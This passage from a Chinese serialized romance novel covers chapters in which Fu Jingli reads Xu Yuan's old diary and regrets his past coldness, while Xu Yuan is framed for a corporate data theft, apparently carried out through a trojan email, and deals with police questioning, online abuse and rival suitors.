其实傅京礼并没有刻意针对她,他只是惯性的让沈略安排工作,听到这还才顿住。 是啊。 现在的傅氏已经不是原来的傅氏了。 沈略已经要递交辞呈离开傅氏了,傅氏……没有所谓的铁三角了。 傅京礼深深的看了许宁一眼。 “我会让容浔安排。” 许宁终于松了口气。 傅京礼为了尽快拿到许愿的日记本,当下就吩咐下去,容浔得到这消息的一瞬间只觉傅京礼的脑子都坏掉了。 “她只是想要一份稳定的工作,可以给她。” 傅京礼简单解释了句。 容浔眸光冷冽的扫向许宁,许宁瑟缩了下,为了自己的计划还是梗着脖子站出来。 “你看我做什么!我就是为自己以后考虑!我想找份工作庇护我自己有什么错?我以前救过傅京礼,现在又跟他做了交易,是他答应的!” 当着傅京礼的面,她还算有点胆子。 容浔神色危险,抿紧唇瓣,到底还是没说什么带着许宁离开办公室。 一直将人带到后勤部给她安排了角落的工位。 后勤部是专门给公司订购下午茶,礼物必需品的部门,平日里最清闲,且油水比较大的部门,在这部门的多是关系户。 关系户们看到容浔带许宁进来一群人面面相觑神色各异。 容浔简单的介绍了下许宁的身份也没特意让人关照许宁,但关系户们都清楚,容浔带来的马虎不得,哪怕这人是前科累累的许宁,她们也一样需要捧着。 …… 与此同时,傅京礼已经打开了许愿的日记本。 这是许愿十年前的日记本,厚厚一本日记,都是许愿娟秀的字体。 她写许宁。 她说“我见到了父亲的另一个女儿,他们都说她是私生女,她的出生是原罪,可我不怪她,没有人能选择自己的出生,我只是比她更会投胎,如果我是她的身份我也希望旁人能善待我,她没有错,错的是她明知故犯的父母,错的是这个社会这个世界。她很漂亮,很可爱,但她好像在提防我,好像我们生来就该是站在对立面的。” 她写许宁漂亮柔弱的像是春雨中伴雨生长的一朵花,但是身上缠绕的都是尖锐的花刺。 她用很多篇幅写许宁,从最开始的友好到后面的无视。 直到傅京礼看到日记本中出现了自己。 【20**年#月#日,我遇到了傅京礼,我好像看到了我的目标。】 【他站在讲台上好像在发光,他在谈金融圈的前景谈华国的未来,他说了好多,我一直在看他,我好像眼睛里只能看到他了。】 【我想我爱上了一个人,在我情窦初开的年纪,我爱上了一个有缘无分的男人。他叫“傅京礼”。】 第320章 她曾经很爱他 文件夹里面只有一张照片,是傅京礼在演讲的一张照片,她好像对傅京礼的爱意太过明显,照片里面都能看出端倪。 淡淡的微光笼罩在男人身上,像是为他渡上一层明显的金光,给人一种淡漠疏离的感觉,却又让人移不开眼,目光一直落在他身上。 她写【他在发光,我好像爱上他了。】 那时她还年幼,而他已经进入A大作为优秀毕业生被董校长请回学校演讲。 他站在台上,她站在台下看着他,像是在仰望她。 当时的许愿是用什么样的心情拍下这张照片,又写出这段文字? 她从那个时候就喜欢她吗,她竟然喜欢了他这么多年。 可现在又怎么能这样简单的丢掉对他的爱去喜欢盛景炎。 悲喜交加的情绪让他几乎克制不住自己的情绪。 心脏在撕扯,破开的大洞里不断流失着什么。 文字可以表达热切的爱意,摄影也可以。浮光之中,傅京礼从未见过自己露出那么柔软的表情。不用再怀疑,许愿曾经说的爱都是真的。 她真真切切爱过自己。 鼻骨一阵酸胀,傅京礼连忙低头揉捏,深吸一口气。 他继续向后翻看,从最初记录许宁和许家人,她也会中间偷偷去看苏逸,后期日记本没了许家人,只有他和苏逸。 【今天去A大参观,A大有很多他的传说,有点开心自己喜欢的人这样优秀,他站在云端之上,我会向着云端飞驰的。】 【跳级参加高考了,报了A大,我想我也可以追上他的脚步了。】 照片是一张A大的照片,赫然是张贴在校园荣誉榜的他的照片,她是为他来的。 【终于……可以叫你学长了。】 【他很受欢迎,我感觉他像是触碰不到的存在,我像是蜉蝣生物,只能远远望着他。】 【又看到有女生向他表白了,他拒绝了,他说他心里有人,我收回了我的情书,我想我跟他是没有缘分的。】 【他毕业了,毕业快乐,傅学长】 照片上是他毕业典礼的照片。 她知道他心里有人,她又是怎么想的,要有多难过? 傅京礼几乎要呼吸困难。 他不受控制的紧握日记本。 她从没有喊过他学长,从未提过那些年她是如何孤独又痛苦的深爱着他,她脚下踩着的所有印记都有傅京礼的影子。 她深爱他。 【在学校看不到他的影子了,教授给了我一篇他撰写的论文,我看了很久,我想,是不是我站得更高一些他就可以看到我了,是这样的,对吗。】 日记停了很久,半年后她终于又开始撰写日记。 【我建立了可以盈利的基金会,他会知道我吗。】 他知道的。 许愿建立的基金会至今还在盈利帮助那些穷苦的患病的人群。 不仅他知道,圈子里很多人都知道,他们都说许愿是A大之光。 她说他在发光,她本人又何尝不是在发光。 日记又停了很久,他不知道这期间经历过什么,许愿再记录时这张纸上明显有了褶皱带着泪意。 【我要跟他结婚了,他不爱我。】 这张图片背面是她凌乱的笔记。 【我没有做错任何事……不是我下的药,傅京礼,别恨我好不好,不要恨我。】 【可以不爱我,但求你别恨我。】 再一次的记录日期是他们结婚那天。 【傅先生,新婚快乐。】 日记本上贴着的是他们婚礼现场的一张照片,那张照片是傅老爷子逼着傅京礼拍的,许愿挽着他的手臂,脸上都是带着温婉的微笑,洋溢着对未来的期盼。 即便他说不爱,但她还是有过期待。 她很爱他。 可他都做了什么? 他那时都说了什么? 他说:“许愿,我不爱你,也不会爱你。” “我可以给你想要的,除了爱。” “把药吃了,你不配替傅家绵延子嗣。” “许愿,不要忘了你的身份是怎么来的,你不会是傅太太。” “不要搞那些小动作,我不会爱你。” 他目光一直落在自己与许愿新婚那天的照片上,他们明明站在一起,但他一直看着镜头,目光没有施舍给身边的许愿,而她却眉眼弯弯的只看着他。 她那时又有多难过? 她说新婚快乐也只敢在日记本里写下新婚快乐,可她到底是惶恐还是快乐? 她甚至不敢在他面前表现出爱意,怕被他猜忌被他误会。 傅京礼捂住绞痛的心脏。 许愿对他爱意满得要溢出来,而他却从来不曾把视线投向默默等待自己的人。 或许有一个瞬间,他看见了,但他并没有真正看进眼里。 许愿爱着傅京礼,从一开始就爱。 泪水几乎控制不住,在眼眶里闪烁,傅京礼狼狈捂脸,呼吸乱得一塌糊涂。 如果新婚的时候,他能换一种表达方式,那该多好。许愿想要爱情,他就给他爱情。许愿想要无条件的相信,他就把自己的心掏出去。 人为什么总是在失去之后才明白,自己曾经拥有的,是多么珍贵的东西? 悲喜,痛悔,对自己的愤怒和怨恨,傅京礼几乎无法承受这么多情绪。 盛世出事,傅氏也被查出之前被盗窃的一些资料有了线索。 助理站在门口,小心翼翼地说道:“傅总,经侦科那边好像查出一些线索,几位老总都下去了,您要去看看吗?” “我马上就去。” 傅京礼立刻站起身,整理歪斜的领带和揉皱的袖口。 他眼眸赤红,面容灰败,精神憔悴。 公司的危机还未彻底爆发,他却仿佛经历了一场浩劫。 助理担忧地问:“裘总,您还好吗?” “我没事。”傅京礼匆匆走到门口,取下挂在衣帽架上的西装外套。 等终于见到警察,当对方说出调查的真相后,傅京礼脸色彻底沉下来。 沈略。 怎么会是沈略。 …… 与此同时,盛世。 盛世高层浩浩荡荡来到许愿的办公室。 很多职员站在外面的办公区,忧心忡忡地张望。 陆飞博隐藏在人群后方,脸上是焦虑的表情,眼里却闪过笑意。 第321章 任人唯亲 刑从景面无表情的站在许愿身后,他只看着,却没有任何动作,像是看一出闹剧。 一名经侦科的警察坐在许愿的电脑前,十指飞快敲击键盘。 领队的警察站在一旁,介绍情况:“的确有黑客入侵的痕迹,就在这台电脑里。应该是不小心打开了藏有木马的邮件导致的。具体是哪封邮件,我们现在已经查不出来了,这是一个顶级黑客,比我们的技术员高出好几个段位。” 领队叹息摇头。 所有高层都用谴责的目光看向许愿。 盛衡更是怒吼起来:“你不知道你电脑里存着很多商业机密吗?任何不明来历的邮件,我都不会打开,你是干技术活的,你竟然随便打开!许愿,公司损失这么惨重,你要负全责!” “这就是任人唯亲的后果!唉……” 几个头发花白的老董事微微摇头,长声叹息。 段星河脸上没有半分表情,只是默默走到许愿身前,挡住所有谴责的目光。 “我这台电脑,我安装了防护程序,只能收到内部邮件,外部邮件会自动删除。”许愿冷静地说道:“现在嫌疑人的范围缩小到我们这个部门,把邮箱里的发件人统计出来,就是一张嫌疑人名单,是不是?” 领队的警察颔首道:“是的,嫌疑人就在这张名单里,我们逐个排查,应该很快会有结果。许总,看来您的防范意识并不薄弱,怪只怪商业间谍太狡猾。” 许愿摇摇头,扯出一抹逼真的苦笑。 盛衡没想到许愿还有这一手,怒气冲冲的表情有些僵硬。 片刻后,他发号施令:“既然已经确定犯罪事实存在,许愿你还愣着干什么?你马上发微博声讨国外的集团,让全国人民都知道他们是小偷!他们想搞垮我们的民族产业!” 许愿看向公关部部长,吩咐道:“你现在发一条消息,说我们盛世将在一周后举办新品发布会,场地选在风月山,全程直播。” 风月山是一处越野车比赛场地,以山路崎岖,坡度陡峭,泥泞难行而闻名。且这地方还是盛景炎曾经出车祸的地方,自那次车祸事件后已经很久没有人将比赛地点定在风月山,更没有人会在这地方试车。 这个决定,引发了所有人的喧哗。 “许愿你疯了?国外企业已经发布了新品,你偏要在这个时候跟他们硬碰硬?你是在浪费公司的营销费!我们已经亏了几十亿!你他妈还在这里挥霍!” “许愿你还有理智吗?你怎么能做出这种愚蠢的决定?” “没有人会在这种时候激动与海外公司硬碰硬!” “你跟他们比什么!现在最着急的是要声讨国外公司挽回我们的声誉!” 办公室里响起一片讨伐之声,所有人都妄图压垮许愿。 他们认为许愿现在的决定太过愚蠢可笑了 经侦科的警察一个个看向许愿,眼里也都带着不解和诧异。不公开商业机密被盗窃的消息也就算了,还赶在这个时候开新品发布会,这位许总是怕盛世输得不够惨吗? 许愿不为所动,嘴角勾着一抹慵懒浅笑,细长指尖慢慢摆弄着手中的钢笔缓慢把玩。 这些斥责,全都被他当成了耳旁风。 而段星河就站在他身前,是挡风的墙。 “没有证据的情况下,你发什么谴责声明?你不怕莱蒂斯和奥瑞亚反诉盛世诬告?照你的处理方式,盛世乃至我们其它的民族企业只会陷入更大的危机!” 刑从景都已经看不下去了,许愿到底是苏青莲的女儿,他也见不得许愿被如此刁难,片刻后语气森冷地开口质问。 他的身份摆在这里,他才开口,现场果然就陷入了一片寂静之中。 盛衡愣了一会儿,然后默默低头。 他知道自己冲动了。舆论一旦哄抬起来,而盛世又拿不出切实的罪证,警方不会配合他们发警情通知,莱蒂斯反诉的话,一告一个准。 一名德高望重的大股东悠悠开口:“陈总,就算不发谴责声明,也不能办新品发布会。这不是浪费公司的钱吗?你不管管?” 陈飞鹏一直站在一旁没有说话,但明眼人都知道他是站在许愿这边的。 有股东看向他,希望他疯的不要太厉害,还有点理智。 陈飞鹏回头看看许愿,得到许愿似笑非笑全然不讲这次危机当回事的模样也只是轻笑一声:“我管不到。” 众位高层:“……”好得很,你他妈果然跟许愿是一条船的! “发消息吧。照许总说的做。”陈飞鹏瞥了公关部经理一眼。 他到底是大股东的儿子,在公司也有不少拥护者,且积威甚重,说一不二,公关部经理打了个激灵,马上给下属发信息,让大家赶紧编辑通稿。 “疯了,都他妈疯了!我真是没想到,陈飞豪你也跟着许愿成了个疯子!”盛衡气得发抖。 陈飞豪觉得自己还挺冤的。 他没疯啊,他现在只是无条件的相信许愿而已。 不信任许愿又能怎样呢?每一次许愿都能力挽狂澜打这群人的脸啊,这么多次了,再愚蠢的人也该学乖了,为什么现在还要继续起来蹦跶呢,还没被许愿碾压够吗? 他毕竟跟许愿是一条船上的人,许愿可是盛华背后的人,盛华能在业内地位如此之高全因许愿研究出的那些东西,所以怎么可能会因为这次的事被莱蒂斯和奥瑞亚算计成功? 纵然他心里是紧张的,但他还是无条件的相信着许愿。 相信许愿总比相信这群愚蠢的董事划算。 这么做风险很大,但他愿意相信许愿并在此刻为许愿承担一切压力。 “我说过,许愿摆不平,我让出所有股权。”他环视众人,再次展露自己的决心。 他站在许愿身前,一步不退,和段星河一起完全护住许愿。 他倒不是因为爱慕许愿,他护的是自己的未来自己的前途。 盛衡等人相互对视,眸光不停闪烁。 “陈总,口说无凭,不如我们签个协议?”盛衡图穷匕见。 第322章 被自己的狗咬了,会痛吗 “可以。”陈飞豪毫不犹豫。 “我们去顶楼慢慢谈?”一名大股东拉开办公室的门。 陈飞豪转身看向许愿,似是在询问她的意见。 许愿微微点头,像是告诉他自己有应对的策略,陈飞豪彻底放心了。 陈飞豪表情从容不迫。 他伸出手拍了拍许愿的肩膀开口:“小心些。” 说完这句话大步朝门口走去。 许愿的目光跟随着他,身体却站在原地不动。 一群人浩浩荡荡地来,又浩浩荡荡地走。 经侦科的警察开始拆卸所有电脑,带回去深入调查。 名单已经整理出来,密密麻麻数十个,都是研发部的人,李晓芸的名字夹杂其中,不甚起眼。 陆飞博却被完全排除了嫌疑。 李晓芸恐怕也不知道,自己发出的邮件里带有木马病毒。她与陆飞博必然会利用聊天软件联络,陆飞博想在她的电脑里动手脚实在是太容易。 只要那个黑客技术够强,这个案子就有可能变成悬案。 许愿是陆飞博精心挑选的替罪羊。 落入这个陷阱,她几乎不可能爬上来。 刑侦科的人陆陆续续离开,顺便把名单上的人带去警局调查,其中自然也包括许愿。 她的嫌疑还不能完全排除,因为她的位置太特殊,可以自导自演。 看着许愿被两个警察夹在中间离开办公室,陆飞博低下头,微微一笑。 许愿这次是真的要完蛋了。 只是,为什么公关部会发那种消息?一个星期之后开新品发布会,盛世不怕把营销经费也赔进去? 陆飞博想不明白,眉头不由紧皱。 直到许愿被警察扣住,陆飞博远远的便看到许愿面上没有露出任何恐慌的表情,她面上表情仍然淡淡的。 许愿对扣住自己的警察说道:“我能不能给我的律师打一个电话?” 警察颔首:“可以。不过我得跟你说句实话,你找律师没用。这里不是国外,我们审问你的时候,律师不能陪同,更不能帮你说话。你纯粹是浪费钱。” “不是的,”许愿莞尔,态度很轻松:“我是想找律师查一些东西。” 警察:“……”找律师查东西,也行吧。 许愿从警察手里拿回自己的手机,给律师打去电话咨询后眸光也跟着深了几分。 陆飞博给他捅出这么多娄子,以后他都是要还回去的。 自己的招,不知道那人接不接得住。 许愿被带走的消息还是闹大了,她远远就看到容浔站在警局门外,目光晦涩的望着她。 容浔恨许愿吗? 当然是恨的,但比起恨还是有一种复杂的情感掺杂在其中。 他上前几步想跟许愿交流,毕竟此次他确实损失惨重。 他向着许愿应该猜不出来陆飞博是他的人,毕竟谁都能看出来陆飞博为了好处选择了莱蒂斯和奥瑞亚,他也是受害者不是吗、 容浔本想询问许愿接下来打算如何做,许愿却在下一刻抬眸,眉眼含笑的望着他,然后吐出冰冷的字眼。 “容秘书,被自己的狗咬了,会痛吗。” 容浔瞳孔放大。 一直冷静自持的男人此刻内心有了慌意。 可他也只是惊慌一刻,下一秒再度恢复原来那平淡的模样。 “如果你说的是沈略,那确实很痛。” 许愿脸上的笑意淡了。 “这跟沈略有什么关系,你知道我在说什么,没必要装傻。”许愿身上的冷意毫不收敛。 “自己精心培养多年看护的狗,在即将成功后狠狠咬了你一口 ,我看怕是要撕下一块血肉了。” 许愿意味深长:“你该庆幸傅氏没有拿到这份资料,不然傅氏一定会后悔,你们所有人都会后悔。” 容浔面无表情的看着许愿,内心却掀起惊涛骇浪。 他是聪明人,许愿也是聪明人,他装傻闪躲不接许愿的话许愿都能瞧出来。 这是他们共事三年的默契。 许愿早就知道陆飞博是他的人,她一早就设好了陷阱,这次的资料大概也是故意被人盗取,资料里面一定会有明显的漏洞。 此刻容浔竟然庆幸陆飞博中途反水将资料高价卖给莱蒂斯和奥瑞亚。 容浔眼神阴郁的看着许愿,许愿也在回望他,眼底都是凉意。 “你该庆幸你的狗咬了你一口认了别的主人。” 对,他的确该庆幸陆飞博背叛了他。 否则现在要被许愿全力报复倒霉的就是傅氏了。 容浔嗤笑一声,片刻后开口:“盛世出了点乱子,傅氏也是。” “许愿,我提到沈略你是真的没有半点在意吗。” “他可是为了你才执意要离开傅氏的。” 许愿察觉到他话语中的漏洞,本来还胜券在握,此刻眼神却溢满冷意。 都是聪明人,如何不懂他的意思。 沈略出事了。 容浔那句话什么意思?沈略咬了他一口? 沈略? “你们对沈略做了什么。” “你明知道沈略不可能做背叛傅氏的任何事,你们已经把他踢出高层圈为什么还不肯放过他。”许愿语气里明显都带着冷意。 容浔单手揣兜,眼神凉薄。 “你也知道他因为你被踢出高层圈,许愿,罪魁祸首是你,你不清楚吗。” “傅氏铁三角,一直在一起不好吗,为什么要分开呢。” 容浔逼近她,居高临下的看着她,隐晦不明的开口。 “你离开了,沈略也要为了你离开,谁知道沈略会不会成为下一个你呢。” 许愿离开傅氏后做出的多少决策都对傅氏有影响,现在沈略也要离开他当然不会轻易放过。 他这句话已经算是明示。 容浔明显是要先下手为强。 “傅京礼知道吗。” 许愿开口询问。 “沈略陪在他身边这么久,你做出这样的决定,傅京礼知道吗。” 容浔但笑不语。 这已经算是做出回应。 许愿“哈”的笑出声:“也是,我要对你们抱有什么期待呢。” “你回去后告诉傅京礼,你们既然一定要不停伤害我在乎的人,那就不要怪我伤害你们在意的人。” 留下这句话,许愿再没回头,径直进入警局。 第323章 如果许愿不存在就好了 容浔站在原地,眸光阴郁紧紧盯着她的身影。 每一次都棋差一招。 如果……许愿不存在就好了。 他已经被逼到几近爆发。 再等等,还不到那一步,他可以再给许愿个机会。 如果许愿还是要针对傅氏,那他不会再对许愿留情。 …… 许愿接受审讯的消息很快就传出去。 这次传出消息的不是国内的任何企业,真正买下此次新闻热搜的是海外企业,也是许愿的老仇人“莱蒂斯”以及才被许愿得罪过嘲讽过的奥瑞亚家族。 两家企业致力于将许愿推到风口浪尖。 普罗大众就是一种喜欢跟风且智商不高不会独立思考的应声虫,旁人说什么他们就跟着说什么,因为他们认为大多数人认为正确的事情那就是真理。 他们却不清楚,真理往往掌握在少数人手中。 他们早已经忘了许愿的实力,许愿建立的基金会,许愿参与的谈判参与的各种项目全都被这群人抛诸脑后。 网络上无数人都在说许愿背叛国家利益贩卖机密资料商业机密他们便信了。 他们在网络上大骂许愿是卖国贼。 他们是愚蠢的网民,但心里却也盘算着守护自己最后的一点微薄利益,他们很清楚有关于盛世研究出的智能系统也好、治疗癌病的药物也好,如果是国内把控那是利大于弊的,若是被海外企业把控……流落到国内的智能系统会不会安装什么监听器,又或者治疗病症的药物被故意的把控。 没人清楚,但海外资本为了钱为了掌控国内人群的隐私什么事都做得出来。 所以消息一经发酵,许愿就成了这群人眼中彻头彻尾的罪人。 【我早就说了许愿是个女人就没有让女人掌权的事儿,政坛上的不都是男人吗,让她一个女人混进去迟早要出乱子,说没事儿的那群人是真的不懂许愿背叛民族企业出卖的那份资料代表什么。打个比方,以后你开车或者用的手机里面可能都会安装上这些智能系统,但开发只能系统的不是国人而是外国人,他们会检测你的所有信息资料盗取你的信息甚至进行更多的非法交易。至于相关癌病药物的资料被贩卖那更可怕,若是以后海外公司把控了药物资料他们一定会把控药品的药效,他们不会让我们的身体痊愈,只会让我们靠他们卖出的高价药物钓着这副孱弱病重的身体,会一步步拖垮我们 !还在为许愿说话的人能看懂了吗!】 【你说的话能看懂,这道理谁都懂,可你怎么就知道这一切是许愿做的?有证据指认是许愿出卖国人和民族企业了?】 【笑话,谁都知道当时在盛世研发部门是被许愿全盘接管的,你们都在夸许愿聪明许愿是什么懂数据懂网络一招制敌的高手,那她怎么会发现不了有人想偷盗公司的商业机密?她一定发现了,她没有阻止那就说明许愿是故意让人窃取了资料。】 【你们等着看吧,再过不久,一定会有许愿的男人们站出来要保她,说她是无辜的,然后就会有替罪羊被推举出来,而许愿这个罪魁祸首就会被无罪释放。】 【那照你这么说不管许愿如何做都是罪人吗!她优秀也是错吗!她优秀就不能被人设计陷害吗!】 一直嘲讽许愿将许愿亲手推到风口浪尖的人嗤笑连连,片刻后带着发出一句让所有人都毛骨悚然的话。 【是的,她错在太优秀。】 因为太优秀,所以做错了任何事都会被人看做是故意留一手故意放水,哪怕后期找人真正的间谍奸细那许愿也无法逃脱,除非从始至终许愿都时观棋者下棋者。 人一旦强大到一定地步,蝼蚁便不许他们再出错。 在他们看来,这些人与不该出错不会出错。 论坛贴吧乃至微博全都是许愿相关的信息资料,谣言遍地飞,可见莱蒂斯和奥瑞亚买了多少营销号花费多少金钱才掀起这场风暴。 外面对许愿的讨伐活动进行的如火如荼,被扣押在接受调查许愿面色仍然平静。 刑从景一直跟在她身边,许愿跟谁接触其实上面心里有数,但许愿毕竟是高智商型人才,谁也不确定许愿会不会背着他们编写什么代码传出去。 不过许愿是盛华真正的掌舵人,盛华主公司都已经从国外搬到国内,除非疯了,否则她不会做出任何背叛民族企业的事情。 刑从景很清楚这些,上面也很清楚这些,抓她来审讯也是走流程,用来压制外面的谴责和舆论。 进行了简单的询问后还不能将人放走,总要等时间冷却外面的风声过去才好。 “外面闹起来了。” 刑从景看到许愿在关注网络上的动态,骂她的人完全数不清,他提了句,似是让她想对策。 许愿却面色平静的关掉浏览界面,随意的点开了一款轻松的小游戏。 刑从景很明显顿了下。 “你不着急?” 她点击着屏幕嗯了一声:“闹吧,闹得越大越好,他们骂的越狠,等真相揭露的时候才会知道自己有多愚蠢。” “我不喜欢站在道德制高点去指责任何人,我喜欢看他们自己指责自己,这种内疚惭愧的心情会升到顶点,等真相大白这些人会为我洗清冤屈,不过几天时间我等得起,我不会在这时候为了洗白自己多花一分钱。” 她轻点着屏幕嘲讽般的开口。 “我等着这群人追在我身后大喊着后悔痛哭流涕。” 刑从景默了片刻,目光重新落到许愿脸上,她仍然是那副淡然的模样,却能清晰的感受到她身上散发出的冷意。 接到盛景炎电话时许愿还在百无聊赖的玩手机,像是完全不顾及自己已经成了网民口中的“卖国贼”。 “想我了?” 接通电话许愿声音里面含着浓浓的笑意,任谁也察觉不出这人现在在被人围攻。 盛景炎好像都被她这幅无所顾忌的姿态气笑了。 “阿愿,你心态可真好。” 第324章 我们谈谈 他其实猜得到许愿是有计划的,但就是见不得那些人辱骂她,特别是那些人用的字眼太过恶心,恶心到让他多看一眼都想吐的程度。 “你在生气吗。” 许愿不在意那些人的谩骂,她觉得不痛不痒,她甚至此刻还心态很好的逗着盛景炎。 “盛景炎,那些人无法伤害到我。” “阿愿,我心疼。” 他们分明是隔着手机屏幕的,可许愿就是能透过镜头感受到盛景炎那股酸涩胀痛的心痛感觉,她眸光不由得闪了闪,片刻后安抚的笑了笑。 “再等等。” “再等一段时间,不会再有人伤害到我们了,盛景炎我保证。” 她就这样给出承诺。 不会有人再伤害到他们的。 她会摆平一切的。 …… 第二天早上, 许愿被释放。 早上的风有些凉,她外面套了一件薄款的风衣慢慢走出警察局大门。 她没告诉盛景炎自己什么时间被释放,她甚至扯了个谎,说自己要在这里待几天一直到警方还她清白。 她不想盛景炎来只是担心有疯子暗中盯着这里再伤害到盛景炎。 毕竟她招惹的疯子确实不在少数。 往近了看是容浔,稍远一些就是莱蒂斯,没有一个正常人,她当然会担心盛景炎。 离开警局,就看到路边停着两辆车,一黑一白。 傅京礼穿着黑西装, 站在白色越野车边,面容异常憔悴。 段星河穿着白色风衣, 靠在黑色越野车上,姿态十分慵懒。 许愿看到两人意味不明地笑了笑。 这还是许愿头一次发现,傅京礼和段星河从某个角度看去, 竟然很相似,明明是不同性格的人,但其实骨子里都是冷漠的凉薄。 两人大步朝许愿走来, 几乎同时到达。 “走吧, 送你回家,我准备好了资料,车上我们需要好好谈谈。” “许愿, 我们聊聊。” 两人异口同声,相互瞪视,目光极其不善。 许愿疲惫地按揉眉心。 段星河来这里她能理解,但傅京礼…… 她有时候真觉得傅京礼听不懂她讲话,她已经说过无数次了,他们之间没可能不要继续纠缠了。 “许愿,我们谈谈”傅京礼沙哑的嗓音里带着难以隐藏的恐慌。 或许他也知道,谈与不谈给不给他机会都不是由他说了算。 毕竟他心里很清楚已经破裂的感情很难弥合。 “许愿,我想跟你聊一聊案情。”段星河瞥了傅京礼一眼一眼, 另辟蹊径。 “去那边谈。”许愿冲不远处的停车场扬了扬下颌, 又对傅京礼说道:“你不要跟过来,这是我和段星河之间的事。” 傅京礼站在原地沉默不语,面容更显苍白。 谁都不知道, 他胸膛里这颗心脏正经受着怎样的痛苦煎熬。看见许愿, 它跳得那么快, 却又忽然停止, 四分五裂。 布满血丝的双眼目送两人走到远处。 段星河回头看了看,啧啧感叹几声。 被关在笼子里日夜鞭打的野兽,大概就是这副凄惨模样。傅京礼的毛都快掉光了,他光是看着就想乐,想发笑。 堂堂傅氏集团继承人也有今天呢。 许愿没有回头,绕到一处僻静角落,问道:“案情怎么样?” “我给警方提供了小飞机拍到的监控视频。” “什么视频?” “李晓芸贷款在A市买了一套小公寓,那是李晓芸和陆飞博的‘爱巢’,但因为A市的房价太高,李晓芸每个月工资还了利息几乎不够生活,又借了很多网贷。利滚利,她已经欠了一大笔钱。上班的时候,她用电脑计算利息,还用电脑登录微信,跟陆飞博求助。而且这一切都是陆飞博唆使的,小飞机拍到了他们两人的聊天记录。” 许愿冷笑道:“想要控制一个性格软弱的女人,要么从钱下手,要么从精神下手。陆飞博这是双管齐下。” 段星河点点头:“从手法上看,陆飞博很老辣。他应该是惯犯。” “他大学刚毕业,怎么会是惯犯。”许愿觉得不可思议。 “我十四岁就大学毕业了,你还是个毛孩子的时候我就已经被苏女士拉入她的研究团队了。”段星河双手插兜,摆出一个帅气的造型。 许愿上下打量他,眸子里荡出一抹笑意,“别炫了,知道段老师很厉害。” 段星河止不住地勾唇眼神里都是意色。 许愿不再说玩笑话转到正题:“先说正事。” 段星河慢慢收敛吊儿郎当的表情,继续说道:“我创建的防御程序非常严密。你也知道,只有经过系统认证的那些人,才能把邮件发送给我的研究员。陆飞博没有得到系统认证,但李晓芸可以接收他的邮件。小飞机拍到了李晓芸打开邮件的画面。” 许愿恍然,此刻甚至觉得可笑:“为了谈恋爱方便,李晓芸擅自修改了防御程序?” “是的。” “恋爱脑真可怕。”许愿承认自己也是恋爱脑,但是李晓芸这种完全不清楚对方是不是真的爱自己的情况下就擅自修改防御程序的做法真的非常愚蠢可笑。 段星河低笑,脑袋歪了歪,看向不远处的傅京礼。 那人一脸煞白地站在车边,像一只即将魂飞魄散的幽灵。 段星河看到他铁青的脸色片刻后嗤笑的收回目光,目光重新落到许愿脸上缓缓开口:“我把那几段视频交给警方,现在陆飞博是重点嫌疑人。你出来之前,他已经被抓进去了。” 许愿挑了下眉。 段星河继续道:“不过这种案子最难的不是侦查,是取证。只要陆飞博雇佣的黑客技术足够强,警方那边很难找到证据。” 许愿皱眉,“我知道。” “你知道就好,我怕你希望越高,失望越大。如果找不到证据,陆飞博顶多只会被羁押二十四小时。这桩案子会变成悬案。” “我早就想到了。” “你以为我会没有应对的方法吗,在我同意让陆飞博进入盛世那天我就想到了应对的策略,一切尽在掌握中。” 听到她如此自信的话段星河扬了下眉,继而转头看向傅京礼,惬意一笑,这笑更像是挑衅。 第325章 他低头了 傅京礼站在阳光里,却又仿佛笼罩在阴影中。他的眼眸比黑夜还要黯淡。 “走吧。”许愿转身往回走。 靠着车门的傅京礼立刻站直身体,向前迎了几步。 明明那么想靠近,却又知道自己已经没有资格,这种清醒的痛苦是最难熬的。 “许愿,我们就在这里谈?给我十分钟好吗?”他眼里的红血丝又增加许多。 许愿摇头。 段星河走上前,挡住傅京礼的视线。 “段星河,这是我们的私事。”傅京礼极力克制着自己的脾气。 他已经那么不堪,不想展露出更残暴的一面。 “我和许愿也有私事要谈。”段星河微微一笑。 傅京礼忍无可忍,一把揪住段星河的领口。 段星河毫不示弱的也用胳膊压住傅京礼的脖颈,两人像两头雄狮,无声咆哮,眼里怒火喷涌。 许愿打开黑色越野车的车门,面色平静的看着眼前针锋相对的两个男人,面上不带多余的表情。 傅京礼连忙松开段星河的领口,狠狠推了一把,追上许愿,握住对方手腕。 许愿,给我点时间,我们谈谈……我真的有很重要的事情要跟你说,许愿,给我点时间,给我时间……”他用颤抖的嗓音哀求。 他想告诉许愿自己知道她那些年的深沉爱恋了,他已经彻底悔悟,他想要跟许愿重新在一起,他希望许愿能给他一个机会…… 傅京礼从没有做出过这幅姿态。 他像是完全低下了自己高贵的头颅。 许愿身体僵了一瞬,也只是僵了一瞬就恢复正常的后退几步。 “我想我们之间没什么可谈的,我现在谁都不想应付,只想回家睡觉。我一整个晚上都在被审讯,十几个小时没闭眼了!”许愿长叹一口气,面容被阳光照得惨白。 事实上根本没有被审讯,她不过是玩游戏查资料所以整完没睡,她现在只想回家清净的休息然后整个人赖在盛景炎怀里什么都不想。 傅京礼听到她这样说僵硬一瞬,缓缓放手。 段星河说道:“我送你回去。” “不用,邢队会送我回去的。” 有刑从景在,段星河也不担心许愿会出什么事了。 “回去好好休息。” 话音刚落,路边就开过来一辆汽车,段星河以为是刑从景的车,便让开一条路。 傅京礼站在原地,满目哀求。 许愿大步走过去,拉开车门人才进去下一秒就感受到一股大力将自己拽进车内,许愿正要挣扎,就听到沙哑的嗓音开口:“快开车!” 眨眼功夫就已经坐在车里的许愿:“……” 刚才发生了什么? 宋观鱼回过头,看向被远远抛在后面的段星河和傅京礼。 两人愣了几秒才开始追,段星河轻啧一声没有追,但傅京礼却已经有些慌了。 他立刻想追,宋观鱼当着他的面把许愿劫走,他不发疯才怪。 刑从景本来也想开车去追,却收到许愿的短信没有让他直接冲上来阻止两人的交流,只是车子不远不近的跟在其后,避免许愿发生意外。 一路上许愿都没说什么,她不说话宋观鱼也没敢吱声,直到车子开到许愿的公寓楼下。 “事情办完了销假了打算回来了?”许愿随意找了个话题问着。 “办好了。”宋观鱼回应。 许愿淡淡的嗯了一声。 许愿瞥他一眼带他去了附近的饭店,他走进饭店包厢,拉开一张椅子,勒令道,“过来坐。” 宋观鱼走过去,乖乖坐下,仰着脸看许愿,眼睛清澈,眸光柔软。 看到他这副模样许愿顿了下移开目光:“调整好了?” 她问的是调整好了自己的情绪和感情,宋观鱼不吱声。 他没调整好,甚至还越来越疯了,这些天满脑子都是许愿,想见她想守着她想保护她。 